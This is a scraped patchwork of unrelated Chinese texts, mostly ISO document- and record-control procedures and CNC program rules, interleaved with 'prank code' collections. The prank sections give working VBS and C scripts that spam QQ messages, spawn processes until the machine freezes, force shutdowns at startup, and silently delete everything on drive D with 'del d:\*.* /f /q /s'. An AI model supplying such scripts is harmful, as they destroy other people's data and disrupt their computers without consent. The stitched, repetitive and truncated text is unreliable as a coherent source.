程序文件修改记录

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南宁万达商业广场管理有限公司

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WANDA 程 序 文 件 修 改 记 录

文件控制程序(修改)

质量/环境管理体系文件 文件编号:DM/CX /01 受控状态: 发布编号: 文件控制程序 版次/修订: A/03 编制: 审核: 批准: 2019年2月20日发布 2019年2月20日实施北京东明兴业科技有限公司 BEIJING DONGMING XINGYE SCIENCE TECHNOLOGY CO.,LTD

1 目的 本程序对公司质量管理体系所要求的文件的编写、发放、使用、修改和作废等过程进行控制,以确保各部门和工作场所使用的文件现行有效,并保持公司质量/环境管理体系运行的符合性。 2 适用范围 适用于公司质量/环境管理体系所使用的文件控制。文件的分类如下: 2.1 质量/环境管理手册; 2.2 程序文件; 2.3 质量技术类支持性文件:具体包括作业指导、检查指导、包装仕样、包装物标准、工艺条件等指导生产的标准书、指导书类支持文件。 2.4 质量、环境管理类支持文件为质量技术类支持文件以外的所有质量、环境的支持文件。具体为各部门运行质量/环境管理体系的常用实施细则:如管理标准、制度、规定等; 2.5 外来文件:与质量/环境管理体系有关的法律法规、国家标准、国际标准、行业标准、来自客户的图纸、色板、胶片等技术文件;相关的法律法规按照《法律法规及其它要求的控制程序》进行控制。 2.6 质量、环境记录; 2.6 其他质量/环境管理文件:可以是针对特定产品、项目或合同编制的质量计划或项目计划、设计输出文件或其他标准、规范等; 2.7 作废文件:文件经变更、换版或取消后现场不再使用的原来文件。 3 职责 3.1 总经理负责批准发布质量/环境管理手册。 3.2 管理者代表负责审核质量/环境管理手册、批准程序文件。 3.3 品质管理部负责组织编写质量/环境管理手册、程序文件。 3.4 文件管理中心负责公司受控文件的归档、发布、管理。 3.5 各部门负责相关文件的编制、使用和保管。 3.6 各部门负责本部门与质量/环境管理体系有关的文件的收集整理和归档等。 4 工作程序

QEP-04 文件及记录控制程序

生效日期2009.5.6 质量&环境管理体系文件文件编号QEP -04 文件及记录控制程序页码 1 of 12 编制:xxx 日期: xxx 审核:xxx日期: xxx 批准: xxx 日期: xxx 受控标识 声明:未经同意,不得复制!

生效日期2009.5.6 质量&环境管理体系文件文件编号QEP -04 文件及记录控制程序页码 2 of 12 版次 页 次 制/修订 日期 制/修订 内容概要 制/ 修订 人 相关部门经理会签 核准 行政财务工程生产采购品管PMC 客服 文件分发表 分发单位份数分发单位份数分发单位份数 □总经理1# □采购部1# □生产部1# □副总经理1# □行政人事部1# □客服部1# □管理者代表1# □财务部1# □总经办1# □品管部 1 □工程部1# □市场部1# □研发部1# □ PMC部1# 1# “1”表示书面发放份数,“1#”表示电子档形式共享份数。

生效日期2009.5.6 质量&环境管理体系文件文件编号QEP -04 文件及记录控制程序页码 3 of 12 1.0 目的 1.1 确保公司内部文件、记录、外部文件、图样与技术资料的准确性和统一性; 1.2 确保公司所有与品质/环境管理体系相关的文件、记录、图纸及技术资料在流通、应 用、处理时能在受控条件下进行; 1.3 确保公司各职能部门持有最新的、有效版本的文件、记录、图纸、技术资料。 2.0 适用范围 适用于本厂质量、环境管理体系文件,这些文件包括但不局限于以下各项: 1) 质量、环境方针以及质量、环境目标; 2)一阶文件:质量/环境手册; 3)二阶文件:程序文件; 4)三阶文件:系统性作业指导、产品性作业指导(技术文件),如产品性作业指导/技术规格/生产指令/检验规范/校正指导等; 5)法律法规:与质量/环境体系相关的国家、国际及行业标准、法律/法规/等; 6)外来文件:与质量/环境体系相关资料以及客户提供的记录、文件、图纸等技术资料。 7)其他类文件:本厂管理体系网络内信息/资料以及各部门相关制度、规定等非受控文件。 8)四阶文件:表格或表单件; 9)记录:填写了内容的表格及某些过期文件。 3.0职责(见下表规定) 文件种类编写审核批准分 发 正本 保存 修改 副本 回收 作废 质量/环境手册ISO工程师管代总经理品管部管代/ISO 品管部品管部 程序文件部门主管 及以上人 员 管代总经理品管部 部门主管 及以上人 员 品管部品管部

文件及记录控制程序(完整版)

文件及记录控制程序 ※※※※※※※※※此文件未经批准﹐不准复印※※※※※※※※※※

1.0目的 确保与质量体系相关的文件不被误用,确保记录于使用、收集、汇总、存档、处理等阶段得到适当控制,特制订本程序 2.0范围 适用于本公司与质量体系相关的内部及外来文件、所有同体系相关的质量记录。 3.0权责 本程序由文控中心制定及管理,相关人员配合执行。 4.0定义 4.1质量手册:有关公司经营组织与各机能的概括性、原则性的摘要说明。 4.2程序文件:有关事务的处理方法、手段、顺序等的说明。 4.3作业指导书:为执行品质要求,在技术、制造上所规定的具体方法、手段与判定要领等。 4.4受控文件:是指文件的分发、变更、回收等动作皆须受到管制的文件。 4.5非受控文件:是指文件的分发、变更、回收等动作不须受到管制的文件。 5.0内容 5.1文件的分类: A.从管制属性可分为受控文件和非受控文件两种。 B.从文件架构上分为四级:一级文件为质量手册; 二级文件为程序文件; 三级文件为作业指导书; 四级文件为表单、记录、资料等。 5.2文件与资料编号方法说明。 A.质量手册的编号为QM-001。 B.程序文件的编号为QP-□□□。代表宏旭日用制品;QP代表程序文件;□□□代表文件的流水顺序号。 C.作业指导书的编号为WI-(□□)-□□□。WI代表作业指导书;其后的三个□代表文件流水号;括号中“(□□)”为可选取项,代表部门。 D.外来文件的编号以原有编号为准。如无原有编号,其编号为QE□□□□□□□。QE代表外来品质文件,其前面的六个□代表年月日,后面的一个□代表外来品质文件的文件序号。 E.各种表单的编号原则:文件编号加序号加版本,FM-□□□□□-□□□,FM代表记录

vbs整人代码大集合 多年的代码收集

vbs整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

程序管理规定更改后

程序管理规定 生效 日期 2012-4-21 页 码 1/11 程序管理规定 分发号: 受控章: 目 编 制 审 核 批 准 签名 日期

程序管理规定生效日期2012-4-21 页码2/11 录 1.目的 2.适用范围 3.要求 4.内容 5.记录 6.修改记录 1 目的 更好的对加工程序进行管理,保证产品质量,避免程序使用错误而导致质量、安全、设

程序管理规定生效日期2012-4-21 页码3/11 备等事故的发生。 2 范围 技术员、领班、副领班、工艺员、调机员及操作工 3 要求 本规定中涉及相关人员必须按本规定中所要求的严格执行。 4 内容 4.1 程序说明 4.1.1 一序标头说明 O 1235 ( 224 16*70 ET48 &71.6 &145 11/07/29 A ) N1G30U0.W0. T0101M08(T0101R4.0) G97S1000M03 第一段是加工外圆程序 ······ M01 N2G30U0.W0. T0808M08(T0808R4.0) G97S1000M03 第二段是加工筋条程序······(如果此段刀具备注为T0404 R1.2,说明此段为加工内壁程序)M01 N3G30U0.W0. T0404M08(T0404R1.2) G97S1000M03 第三段是加工内壁程序 ······ M01 (如果此段刀具备注为T0808 R4.0,说明此段为加工筋条程序)N4G30U0.W0. T0405M08(T0404R1.2) G97S1000M03 第四段是加工中心孔程序 ······ M30 4.1.2 二序标头说明

c语言整人代码

C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序,可以设置多长时间后将自动关机。当然马上关机也是可以的,我们就可以恶搞别人计算机了(你事先得知道怎么解),将写好的自动关机程序复制到别人电脑,然后将可执行的 文件设为开机自动启动,别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序(这是很容易的),后果你一定能想到了吧~还可以改进一下,就是每次开机的时候让用户输入“我是猪”,不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩,比如“我爱你”、“我爱×××”之类,你觉得会有严重后果的就不要玩哦、 好啦,就说到这里,下面送上这两个程序的源代码。一个是自动关机程序,很简单,另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1: #include #include int main(void)

{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了,自己人不整自己人~ 源程序2: #include #include void main() { int i=0; char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~"""); printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n"); printf("输入:"); while(strcmp(s,"我是猪")) { gets(s); if(strcmp(s,"我是猪")==0) { system("shutdown -a"); } system("cls"); i++; switch(i%3) { case 0: printf("不肯承认就要关机啦,哈哈~~很简单,输入你是猪嘛~~\n"); break; case 1: printf("你是猪你是猪你是猪你是猪,你是猪,要保存的东西快保存哦~\n"); break;

《文件和控制程序》

1.目的 为了对公司各类文件和资料进行有效管制,统一文件格式,规范文件的制定、修改、发放、废止等管理,确保文件正确、完整、有效,特制定本程序。2.适用范围 适用于公司行政发文、程序文件、作业指导书,各类规章制度、各类检验标准、工作指引、记录表单及外来文件的管理等。 3.定义 文件分类: 红头文件:包括公司组织机构、人事任免、重大决策及重要管理事项等。 一级文件(A):公司章程、体系手册等公司纲领性文件。 二级文件(B):管理控制程序、业务流程性文件。 三级文件(C):管理规章制度、操作规程、作业指导书。 (D):检验标准、产品规范。 四级文件(管理表单):用来记录管理过程的表单,作为QEO管理的追踪和检索的工具。 临时性文件(E):包括通知、通告、暂行办法、暂行规定、部门沟通联络文件等。 外来文件(F):包括地方政府、主管部门、行业管理相关文件,顾客或供应商提供的资料、图纸及有关的行业标准等。 文件分为受控文件及非受控文件: 受控文件:即要求文件的分发、修订或更改均须按书面规定程序进行控制,保证文件始终反映现行要求,受控文件须加盖“受控文件”印章,且经相关人员会

签。包括:管理手册、程序文件、作业指导书、MSDS文件、职务说明书、经识别的外来文件、记录表单类文件等。 非受控文件:若有新的版本发出,旧的版本文件无需更新,被列为非受控文件,且禁止作为产品生产、开发及经营之用。 4.工作职责 文件的审查、批准权限为: 文件的发布、回收、作废、销毁及控制,由文控中心负责。 文件使用管理:各部门主管负责管理本部门现场使用的文件和资料,确保文件及记录的正确、完整及安全性。

程序文件修改增加版本

各类岗位人员职责权限及适任条件 目录 1.目的 2.适用范围 3.各部门、岗位质量职责 及适任条件 4.其他

1 目的 规定和明确各类岗位人员的质量职责权限及适任条件,确保公司质量体系各项质量活动落实到人,与体系有关人员能胜任本职工作,使质量体系得以有效运行。 2 适用范围 本程序文件适用于公司各部门人员的有关质量活动及各部门人员的选任和培训。 3 各部门、岗位质量职责及适任条件 3.1各岗位基本适任条件 a.主办以上人员必须具有大专以上文化程度,从事管理工作 五年以上。 b.办事员具有高中以上文化程度,专业技术人员必须具有大 专以上文化程度。 c.熟悉本岗位的各项业务和技能,并能与时俱进的学习,不 断开拓和进取。 d.熟悉质量管理体系标准和公司有关的质量体系文件要求 并能执行。 e.身体健康,能胜任并热爱本职工作。 3.2 公司主要岗位人员管理的职责和权限 3.2.1 总经理的管理职责及权限 a.负责建立、实施质量管理体系,并对持续改进其有效性作出

管理承诺; b.负责组织以顾客为关注焦点的实施增加顾客满意为目的, 确保顾客的要求得以确认和满足,并负责组织实施顾客满意度计划; c.负责公司质量方针的制定,并监督公司质量方针的实施; d.负责组织策划公司质量目标,在相关职能和层次上建立质 量目标,并对公司质量目标的实现负责; e.负责组织策划公司质量管理体系,保证公司质量管理体系 的持续有效性; f.负责组织界定公司各职能部门,各职能部门岗位的职责和 权限; g.负责指定公司管理者代表; h.负责组织和建立公司内部沟通过程; i.负责组织公司管理评审; j.负责组织提供必要的资源和作业环境; k.负责组织公司产品质量控制管理,对产品重大质量事故负责,对不符合质量要求的质量活动有制止的权力。 3.2.2 管理者代表职责和权限 3.2.2.1 在总经理的领导下,负责建立、实施和保持公司质量管理体 系; 3.2.2.2 向总经理报告质量管理体系的业绩和任何改进的需求;

产品销售记录控制程序

1.目的 建立产品销售记录的管理程序,确保必要时能在最短时间内收回有关产品。 2.范围 所有的产品销售记录。 3.职责 业务部、品质部、仓储部。 4.内容 4.1销售记录管理的目的 保证可以追溯产品销售去向,确保必要时能以最快的速度收回有关产品。 4.2销售记录的内容 4.2.1产品名称 4.2.2批号、规格 4.2.3发货数量(件数) 4.2.4客户 4.2.5发货人、发货时间 4.2.6发货单号 4.2.7运输方式 4.2.8备注 4.3销售记录及单据的填写要求 4.3.1字迹清楚、内容真实、完整、详尽、不得用铅笔中圆珠笔填写。 4.3.2及时填写,不得提前或拖后。 4.3.3不得随意撕毁或任意涂改,确实需要更改时,应划一横线后,在旁边重写,更改人签名。 4.3.4签名要填全名,不得只写姓氏。 4.3.5按表格内容填写齐全,不得漏项。

产品销售记录控制程序页次:2/ 2 注意:填写时单位要尽量统一。同产品不同批号,或不同规格产品应分别填写。 4.4记录的收集 每批产品发货后,由业务部跟单员负责收集、记录、货位卡,并与收发货台账进行核对。不得有误。要与实物、账、卡核对,确保没有缺失,签字。收集后要逐项逐页复核,特别是关于产品去向及产品特征的项目。如有疑问需及时与有关文件或发货、运输凭证相核实,并将情况注于备注项下,核对人签字后归档。 4.5记录的保存 4.5.1记录由业务部跟单专人专柜保管。 4.5.2注意防火、防盗、防遗失。 4.5.3记录要保存至有效期后一年。 4.6记录的查阅 查阅人应经业务部批准、登记,阅后要及时送还,并在有关记录上签字。 4.7记录的销毁 每年由管理人员将超过贮存期的销售记录帐、卡列出明细表,报业务部经理批准,品质部派人员监督,签字后方可销毁,并及时登记入销售记录管理台账。 5.相关记录 5.1《产品销售台帐》

文件及质量记录控制程序(五金冲压件)

文件及质量记录控制程序 1.目的: 为便于本组织图面、文件制、修订、更改及分发、收回、废止、销毁等管理,避免文件未经核准发行,或过期、失效文件被误用,以确保系统内使用文件的有效性。 2.范围: 包括本公司质量管理体系文件、组织为资料图纸、标准外来资料及顾客提供的图纸、标准。 3.职责: 3.2各部门:负责各阶文件的编制、保存、销毁,并保证其正确性。 文管中心:负责各阶文件、图面的分发、收回、作废及前三阶文件的废止并保证其版本之正确性 4.内容: 4.1文件管制总则: 4.1.1质量体系文件之编写、审核、与批准: 当各单位依需要制、修订相应阶层之文件时,依电子版《质量手册格式》、《程序文件格式》或《作业指导书格式》格式进行编写。待填妥《文件制/修订申请单》后随附文件原件,依3.1要求依次进行审核、批准并会签各相关部门,批示后交于文管中心,由文管中心统一分发。 4.1.2文件及单据编码:依《文件格式及编码作业指导书》及《单据编码作业指导书》执行。4.1.3质量记录要求:填写必须真实、准确、保持清晰,整洁,记录人必须签全名及日期或盖章。 4.2文件接收及分发: 4.2.1文管中心接到各部门制订或修订文件后,将接收之文件登录于《文件接收管制登记表》,依《文件制/修订申请单》会签单位影印相应份数,于影印件盖红色“发行章”并登录于《文件分发签收记录表》发放至各单位,各单位文件接收人员于《文件分发签收记录表》中签收,文管人员将文件版本、生效日期及分发份数等列入《文件总览表》。 4.2.2如《商品用料结构表》、《QIP量测标准》、《包装规格书》、《QC工程表》等资料视同文件管制,但无需建立《文件总览表》;待相关单位制、修订完毕后,原件交文管中心存盘,文管人员依使所需单位影印相应份数分发至使用单位。 4.2.3文件补发: 文件如有破损、缺页、字迹模糊,或份数不够须补发时,使用单位不得私自影印,需填具《图面/文件申请单》,依3.1规定之权限人员批准后,交文管中心予以补发。 4.2.4本公司四阶文件作为前三阶文件之附件,文管中心保存最新版本,建立《质量记录总览表》

愚人节整人网页代码

竭诚为您提供优质文档/双击可除 愚人节整人网页代码 篇一:整人“病毒”代码(一) 发表于20XX-10-2310:33 前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。 ps:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。 一、怎么点都没反应的桌面 如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。 把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。 然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开

机中???? 附带:print键截屏方法: 键盘右上方的“printscreensysRq”键的作用是屏幕抓图! 用法一,按“printscreensysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。 用法二,先按住“Alt”键,再按“printscreensysRq”键,则是对当前窗口进行抓图。如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试! 二、让电脑硬盘消失-隐藏磁盘方法 愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了! 步骤 1.新建一个记事本 2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg” 3.将下面的代码复制到记事本当中:

程序管理规定(更改后)

程序管理规定 分发号: 受控章: 录 1.目的

2.适用范围 3.要求 4.内容 5.记录 6.修改记录 1 目的 更好的对加工程序进行管理,保证产品质量,避免程序使用错误而导致质量、安全、设备等事故的发生。 2 范围 技术员、领班、副领班、工艺员、调机员及操作工 3 要求 本规定中涉及相关人员必须按本规定中所要求的严格执行。 4 内容

4.1 程序说明 4.1.1 一序标头说明 O 1235 ( 224 16*70 ET48 &71.6 &145 11/07/29 A ) N1G30U0.W0. T0101M08(T0101R4.0) G97S1000M03 第一段是加工外圆程序 ······ M01 N2G30U0.W0. T0808M08(T0808R4.0) G97S1000M03 第二段是加工筋条程序······(如果此段刀具备注为T0404 R1.2,说明此段为加工内壁程序)M01 N3G30U0.W0. T0404M08(T0404R1.2) G97S1000M03 第三段是加工内壁程序 ······ M01 (如果此段刀具备注为T0808 R4.0,说明此段为加工筋条程序)N4G30U0.W0. T0405M08(T0404R1.2) G97S1000M03 第四段是加工中心孔程序 ······ M30 4.1.2 二序标头说明 O 2235 (224 16*70 ET48 &71.6 &145 11/07/29 B ) N1G30U0.W0. T0101M08(T0101R4.0) G97S1000M03 第一段是加工外圆 ······ M01 N2G30U0.W0. T0303M08(T0303R3.0) G97S1000M03 第二段是加工端面 ······(如果此段刀具备注为T0606 R1.2,说明此段为加工卡口程序)

文件和记录控制程序文件

对公司质量管理体系的所有相关文件和质量记录进行有效控制,确保文件和记录的充分性、有效性和完整性,并提供对产品、过程和体系符合要求及体系有效运行的证据。 2.0适用范围: 适用于所有与公司质量管理体系有关文件的控制和为证明产品、过程和体系符合要求和质量体系有效运行的记录。 3.0职责: 3.1. 总经理 3.1.1.负责公司质量手册的批准 3.2. 管理者代表 3.2.1.负责组织质量手册的编制和审核; 3.2.2.负责程序文件的批准。 3.2.3.负责三级文件的批准 3.2.技术部经理 3.2.1.负责技术文件的批准。 3.3. 各职能部门 3.3.1.负责相关程序文件和三级文件(包括各种表单)的起草、制定、修订、更改。 3.3.2.负责本部门三级文件的审批、发放范围的确定。 3.3.3.负责确定本部门编制的记录表单的格式以及记录的填写、收集、整理归档工作。 3.3. 4.负责保持本部门的文件及记录符合《文件和记录控制程序》的要求。 3.4. 品质管理部文控中心 3.4.1.负责ISO质量管理体系文件的格式统一、文件登录、编号及发放。 3.4.2.负责文件的回收、修改、废止、保存和销毁。 3.4.3.负责监督、各部门的记录填写控制情况。 3.4.4.负责与本公司ISO质量管理体系相关的外部信息和资料的收集,并加以识别控制。 4.0定义: 4.1.受控文件:被使用为作业依据的书面文件,须随时保持最新版次,具有分发控制、修订版本时须重新 分发以确保文件正确与适用性。 4.2.外来文件:指取自外部的法规、规范、标准、或客户提供的图面、规定等,被本公司用来作为质量管 理体系流程中引用的标准。 4.3.质量手册(一级文件):对公司体系的方针、目标、管理职责和权限等进行整体描述的文件,包括ISO 质量手册等。 4.4.程序文件(二级文件):根据体系要求所编制的纲领性的通用程序,是各部门的合作基础。 4.5.作业指导书(三级文件):包括与产品、设备、技术和操作方法有关的详细作业指导书,还包括相关法 规要求、标准规范等。 4.6.表单记录(四级文件):包括书面记录和电子文档。

自动化程序更改管理制度

程序更改管理制度 1、总则 工艺、设备参数、报警设定值、联锁停机值是工艺、设备运行过程中的重要参数,可以提示操作人员改进操作,保护设备及工艺过程安全运行,避免设备及工艺事故的发生,因此报警值的确定、设置、修改以及程序联锁的修改、程序的增加等一系列关于上下位软件的修改,都必须严格按照程序办理。 2、依据 工艺、设备参数报警值来源于设计院设计的参数、以及工艺、设备生产厂家说明书规定的参数,经过多方讨论确认的值。所有的参数在确定前必须经过审批程序,其流程参照本规定的内容。工艺、设备参数报警值的确定要有科学依据,同时结合工艺设备运行实际情况。自动化人员不能私自更改程序中的各种参数,必须有申请单位和计控处双方的书面确认,必要时,须经过公司相关部门的审核。 3、程序修改主要内容 3.1、量程修改 3.2、报警参数修改 3.3、联锁停机参数修改 3.4、控制流程的更改 3.5、新增设备程序修改 4、程序更改审批流程 4.1、量程修改 仪表科提出修改申请-→计控处领导审批(处长或副处长)-→自动化科执行; 4.2、工艺参数报警值修改: 工艺技术人员申请-→分厂领导审核(厂长或副厂长)-→计控处领导审核(处长或副处长)-→计控处自动化科执行; 4.3、联锁停机参数修改 工艺技术人员申请-→分厂领导审核(厂长或副厂长)-→公司分管领导审批-→计控处领导审核(处长或副处长)-→计控处自动化科执行; 4.4、控制流程的更改 工艺技术人员申请-→分厂领导审核(厂长或副厂长)-→公司分管领导审批-→计

控处领导审核(处长或副处长)-→计控处自动化科执行; 4.5、新增设备程序修改 工艺技术人员申请-→分厂领导审核(厂长或副厂长)-→公司分管领导审批-→计控处领导审核(处长或副处长)-→计控处自动化科执行; 4.6、所有工艺、设备参数报警停机值由生产单位最终确认,自动化科按审批单执行。自动化科维护人员在参数进行修改后,对联锁报警清单进行修改。 5、程序更改操作流程 5.1、自动化科维护人员必须执有书面的审批单才可对程序进行修改的流程,在接到程序更改任务前,不得对程序进行任何修改; 5.2、维护人员在接到程序更改任务单后,出具书面的程序更改方案,经科内研究讨论后,对程序进行修改。 5.3、对于4.4、4.5条程序进行修改前,应由计控处自动化科进行总体规划,制定修改方案,自动化科维护人员具体完成。 5.4、4.4、4.5条更改程序时,先将程序编制完成,经科长对程序进行审核,模拟试验后才可到现场对程序进行下载。 5.5、修改程序前要按以下步骤进行: 一要保证程序是最新的在线程序(在线测试); 二要对程序进行备份; 三要做好对被修改程序段前的记录; 四要做好对被修改程序段后的记录。 5.6、程序修改完成后,程序运行效果需由工艺技术人员申请人员签字。 5.7、每次程序修改完成后,自动化科维护人员在24小时内需向科里上交程序修改审批单、程序备份、修改记录、联锁报警清单。自动化科对程序修改进行统一存档。 6、附则 6.1、本制度由计控处编制并归口管理; 6.2、本制度自下发之日起实施。 计控处自动化科 2012年6月21日

C 语言整人代码大全

C 语言整人代码大全WScript.Echo("嘿,谢谢你打开我哦,我等你很久 拉!"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?") 顶 举报| 2011-06-01 20:46回复 菊花爆开 电白自学 2楼 WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦") WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!") WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰 你工作。") WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下")

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设计文件更改程序

设计文件更改程序 1 目的 规定了产品图样和设计文件的更改职责、控制要求、控制程序、更改方法、记录表单。其目的是保证所有设计更改的正确、协调、统 一、清晰。 2 适用范围 适用于军品、民品产品图样和设计文件的更改。 3 职责 产品图样和设计文件的更改由设计部门归口管理。 4 程序 4.1 控制要求 4.1.1 产品图样和设计文件在更改全过程中,必须严格按规定程序履行审批手续。当图样上发现有明显描误和影响产品质量的错误时,允许设计部门征得顾客代表同意办理《暂时不按资料生产许可书》,先在生产中实施,而后补办更改手续。 4.1.2 设计文件更改要有依据,弄清原因,在确保产品性能和互换性的前提下进行。 4.1.3 对设计要作较大改动时,应再次进行设计评审,试验验证。 4.1.4 设计更改涉及外单位时,应由设计部门专函提出更改要求和意见,协调一致后再作更改。 4.1.5 借用件、通用件更改时,必须考虑到更改后是否能与其它

部件通用。如不能通用,应另绘新图,另编代号,原图样仍予保留。 4.1.6 产品图样和设计文件更改必须一致,以确保现场使用的产品图样和设计文件现行有效,防止同一图样和设计文件、底图和兰图出现矛盾和漏改。 4.1.7 更改后的图样和设计文件应正确、完整、清晰、统一。 4.2 控制程序 4.2.1 设计人员负责收集和分析论证。 4.2.1.1 收集并整理有关质量评审中提出的设计质量问题. 4.2.1.2 收集整理试制或批生产中发现的结构设计、加工工艺性及使用性标准等方面存在的问题。 4.2.1.3 收集整理试验或顾客反映的各种技术质量问题、零部件破损情况及维修等方面的问题。 4.2.1.4 对收集并整理的有关问题应进行分析论证,以确保是否必要对原产品图样和设计文件进行补充、更改。 4.2.2 更改的审批权限 4.2.2.1 方案阶段 经“三级审签”和设计评审的方案设计全套白图,是开展技术设计的基础,是技术状态的分配基线,对其更改应控制: 1) 对不影响产品性能和使用,设计者可在白图上进行更改; 2) 对影响产品一般功能特性的更改必须经审查者同意; 3) 对与战术技术指标、可靠性、安全性有关的更改,须提出论证报告和试验验证材料经原批准者同意。

程序改错示例

程序改错: 在修改程序时,不允许修改程序的总体框架和算法,不允许增加或减少语句数目。 练习1:下列程序是将“China”编成密码,规律是:如是大写字母,用原字母后面第4个字母代替原字母,例字母“A”后面第4个字母是“E”,用“E”代替“A”;小写字母用原字母后面第2个字母代替原字母,例如字母“a”后面第2个字母是“c”,用“c”代替“a”。因此,“China”密码为“Gjkpc”。 SET COLLATE TO "MACHINE" LOCAL mSting,cString,ch mString=SPACE(0) cString="China" FOR i=1 TO VAL(cString) ***FOR i=1 TO Len(cString) ch=SUBSTR(cString, 1, i) ***ch=SUBSTR(cString, i,1) IF BETWEEN(ch,"a","z") mString=mString+CHR(ASC(ch)+2) ELSE mString=mString+CHR(ASC(ch)+4) ENDIF ENDFOR WAIT WINDOW cString+"密码为"+mString 练习2:下列程序中的过程(过程名为ren)用来产生n个a~b之间的随机整数,然后将它们以从大到小的顺序存储在数组X中,并分别输出n=10、a=5、b=25和n=20、a=50、b=80时数组X的值。 =ren(10,5,25) =ren(20,50,80) PROC ren PARA a,b,n ***PARA n,a,b DIME x(n) x = 0 FOR i = 1 TO n x(i) = INT((b-a)*RAND() + a) ENDFOR FOR j = 1 TO n-1 FOR k = j+1 TO n IF x(k) > x(j) t = x(j) x(k) = x(j) ***x(j) = x(k) x(k) = t ENDIF

文件记录控制程序

1目得 规范公司记录得管理,为追溯、改进与提高产品质量提供依据,证实质量管理体系运行得持续性、适宜性与有效性,确保其符合标准要求。 2范围 适用于本公司质量管理体系所要求得所有记录得管理与控制。 3职责 3、1 行政部负责记录得统一编号、发放与管理,建立《记录管理一览表》。 3、2 品质部负责产品检验记录得管理。 3、3 各部门负责各自相关联记录得管理. 4流程图 见附件 5内容 5、1 记录得分类 凡就是质量管理体系运行中得记录、报告及与产品相关得质量数据均属于记录范围。 5。1。1 与质量管理体系管理有关得记录主要有: 管理评审记录、内部审核记录、文件控制记录、纠正与预防措施记录、人力资源管理与培训记录、设施管理记录、产品与过程监视与测量记录等等。 5。1。2与采购、销售、生产、检验与交付有关得记录主要有: 产品要求得评审记录、供方评价记录、产品检验记录、监视与测量装置得校准记录、统计技术得应用记录、顾客投诉及服务记录等等。 5.1.3记录得形式为书面形式(如:书面得表格形式、报告文件形式等)、硬拷贝、磁盘等电子媒体等形式。 5、2 文件记录表格得设计、审批、印制与领用。 5。2。1 各部门设计自己所需得记录表格,并将空白表格交行政部审核后报管理者代表或其授权人审批后交行政部印制. 5.2.2 印制好得记录表格由仓库负责保管,各部门根据需要从仓库领用. 5、3 文件记录得填写 文件记录由开展该项活动得直接责任人按要求及时填写,填写要求如下: 5。3.1 正确:质量记录所记内容必须真实准确,填写方法必须符合规定要求,字迹清晰,不随意涂改。需更改得部分采取划改,但需更改人签字并注明更改时间。 5。3.2及时:按规定时间填写、传递,发现问题应立即纠正。

文件及记录控制程序

